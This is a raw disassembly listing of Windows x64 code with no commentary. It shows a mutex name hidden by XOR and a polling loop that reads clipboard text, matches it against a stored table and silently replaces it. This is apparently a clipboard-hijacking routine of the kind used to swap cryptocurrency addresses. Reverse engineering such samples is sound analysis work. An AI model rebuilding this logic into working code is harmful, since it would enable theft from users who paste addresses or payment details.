mov dil, 0x52
mov byte [rbp + 0x58], bl
xor dil, 0x2a
mov byte [rbp + 0x5a], sil
xor ecx, ecx
mov byte [rbp + 0x59], dil
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
nop word [rax + rax]
mov ecx, 0x14
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
cmp dword [0x1400187e0], eax
je 0x14000f920
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14000f920
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
test rax, rax
je 0x14000fc4d
xorps xmm0, xmm0
mov qword [rbp + 0x178], r12
movups xmmword [rbp + 0x168], xmm0
mov qword [rbp + 0x180], r12
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x14000f980
mov rdx, rax
lea rcx, [rbp + 0x168]
call fcn.140003ad0
movups xmm1, xmmword [rbp + 0x178]
mov byte [rbp + 0xe0], 1
movups xmm0, xmmword [rbp + 0x168]
movq rax, xmm1
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm1
test rax, rax
je 0x14000fc54
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0xa0]
call fcn.140007160
mov rbx, qword [0x1400187e8]
mov rsi, qword [0x1400187f0]
cmp rbx, rsi
je 0x14000fb8e
cmp qword [rbx + 0x38], r12
je 0x14000fb2e
cmp qword [rbp + 0xb8], 0xf
lea rax, [rbx + 0x28]
mov r9, qword [rbp + 0xb0]
lea rdx, [rbp + 0xa0]
cmova rdx, qword [rbp + 0xa0]
lea r8, [rbp + 0xa0]
add r9, rdx
mov dword [rsp + 0x30], r12d
cmp qword [rbp + 0xb8], 0xf
lea rdx, [rbp + 0x128]
xorps xmm0, xmm0
mov qword [rsp + 0x28], rax
cmova r8, qword [rbp + 0xa0]
lea rcx, [rbp + 0xe8]
movups xmmword [rbp + 0x128], xmm0
mov qword [rbp + 0x138], r12
mov qword [rbp + 0x140], 0xf
mov byte [rbp + 0x128], r12b
mov qword [rsp + 0x20], rbx
call fcn.140005810
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x14000fabf
mov rcx, qword [rbp + 0xa0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000faba
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fc68
call fcn.1400100c4
movups xmm0, xmmword [rbp + 0x128]
cmp qword [rbp + 0xd8], 0xf
lea rdx, [rbp + 0xc0]
movups xmm1, xmmword [rbp + 0x138]
cmova rdx, qword [rbp + 0xc0]
lea rcx, [rbp + 0xa0]
movq r8, xmm0
movups xmmword [rbp + 0xa0], xmm0
movdqa xmm0, xmm1
movq rdi, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
movups xmmword [rbp + 0xb0], xmm1
cmova rcx, r8
cmp rdi, qword [rbp + 0xd0]
jne 0x14000fb3d
mov r8, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000fb3d
add rbx, 0x48
cmp rbx, rsi
jne 0x14000f9f3
jmp 0x14000fb8e
lea rdx, [rdi + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x14000fb8e
cmp qword [rbp + 0xb8], 0xf
lea rdx, [rbp + 0xa0]
mov r8, qword [rbp + 0xb0]
mov rcx, rax
cmova rdx, qword [rbp + 0xa0]
inc r8
call sub.VCRUNTIME140.dll_memcpy
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, rbx
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
mov dword [0x1400187e0], eax
call qword [sym.imp.USER32.dll_CloseClipboard]
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x14000fbe1
mov rcx, qword [rbp + 0xa0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fbdc
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fc6f
call fcn.1400100c4
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], 0xf
mov byte [rbp + 0xa0], r12b
cmp byte [rbp + 0xe0], r12b
je 0x14000f920
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x14000f920
mov rcx, qword [rbp + 0xc0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fc43
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000fc6f
call fcn.1400100c4
jmp 0x14000f920
mov byte [rbp + 0xe0], r12b
call qword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
mov dword [0x1400187e0], eax
call qword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x14000fbfa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov eax, 1
jmp 0x14000f860
call fcn.14000d120
int3
call fcn.14000cab0
int3